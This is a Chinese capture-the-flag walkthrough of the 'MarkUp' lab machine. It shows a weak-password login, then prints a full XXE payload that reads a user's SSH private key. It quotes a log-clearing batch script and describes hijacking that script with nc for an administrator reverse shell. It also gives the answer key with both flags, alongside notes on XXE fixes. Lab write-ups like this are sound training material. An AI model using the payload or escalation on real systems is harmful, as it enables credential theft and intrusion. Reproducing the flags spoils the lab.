前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解MarkUp靶机
渗透过程
信息搜集
- 服务器开放了22SSH端口、80HTTP端口 和 443HTTPS端口
弱口令登录后台
- 抓取http 数据包,进行加载 账号密码字典
- 账号: admin
- 密码: password
利用XXE漏洞 捕获SSH密钥
- 在后台Order页面,发现表单提交功能,使用XML提交数据
- 怀疑有XXE漏洞
- 通过查看页面源代码,发现用户名:Daniel
- 回显位置在标签
- 由于服务器开放了ssh服务,拥有id_rsa密钥,尝试读取
- 位置存放在:c:/users/用户/.ssh/id_rsa
payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order>
<quantity>
111
</quantity>
<item>
&test;
</item>
<address>
11111
</address>
</order>
- 成功读取id_rsa SSH密钥
- DOCTYPE ANY 表示这个 XML 文档没有特定的文档类型限制
- SYSTEM 读取本地文件,把内容放进test里面显示
- 保存id_rsa文件,最后一行要留空,否则可能无法读取密钥
- 将id_rsa设置为只读权限
- r=4 w=2 x=1 读、写、运行
- 利用密钥,成功登录到服务器
- -i 指定密钥
权限提升
- 翻找到C盘的Log-Mangement目录,发现一个痕迹清理的bat程序
# 关闭后面命令的输出
@echo off
# 执行 bcdedit 命令 (并获取当前用户?) %%V 类似 for 循环的 i
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
# 判断用户是否是管理员 (为)
IF (%adminTest%)==(Access) goto noAdmin
# wevtutil.exe 日志清理工具 系统自带 el列出事件日志
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
# 回调函数 cl清理日志事件
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
-
Users 后面的 (F) 表示所有用户 都有完全控制权限
-
开启http服务
-
下载nc64
-
拥有完全控制权限,将nc反弹命令写入,并执行
-
反弹会话 为管理员权限
-
用户 flag:032d2fc8952a8c24e39c8f0ee9918ef7
-
root flag:f574a3e7650cebd8c39784299cb570f8
-
思路:job.bat拥有管理员权限,我们具有完全控制权限,进行修改反弹会话
知识点讲解
- XXE原理:XXE漏洞就是xml外部实体注入漏洞,通常发生在应用程序解析xml输入时,没有禁止外部实体加载,导致恶意外部实体加载,造成文件读取,命令执行,内网端口扫描等危害
- 修复意见:
- 1.禁止加载外部实体
- 2.不允许XML中含有任何自己声明的DTD
- id_rsa:私钥文件,与之对应的还有一个公钥文件(通常为id_rsa.pub)。在 SSH 连接中,服务器会保存客户端的公钥,当客户端尝试连接时,客户端使用私钥进行签名,服务器使用保存的公钥进行验证
答案
- 1.服务器上面80端口 Apache中间件版本是多少?
2.4.41
- 2.使用什么账号密码登录成功?
admin:password
- 3.能够接收表单的顶部页面是什么?
order
- 4.服务器上面的XML版本是什么?
1.0
- 5.XXE漏洞全称是什么?
XML External Entity
- 6.可以在网页源代码找到什么用户名?
Daniel
- 7.在Log-Management目录找到的文件是什么?
job.bat
- 8.里面提及了什么程序?
wevtutil.exe
- 9.用户flag是?
032d2fc8952a8c24e39c8f0ee9918ef7
-
- root flag是?
f574a3e7650cebd8c39784299cb570f8
总结
- 我们介绍了XXE漏洞原理,修复意见,利用方式,修改管理员权限文件 修改代码 反弹会话及id_rsa密钥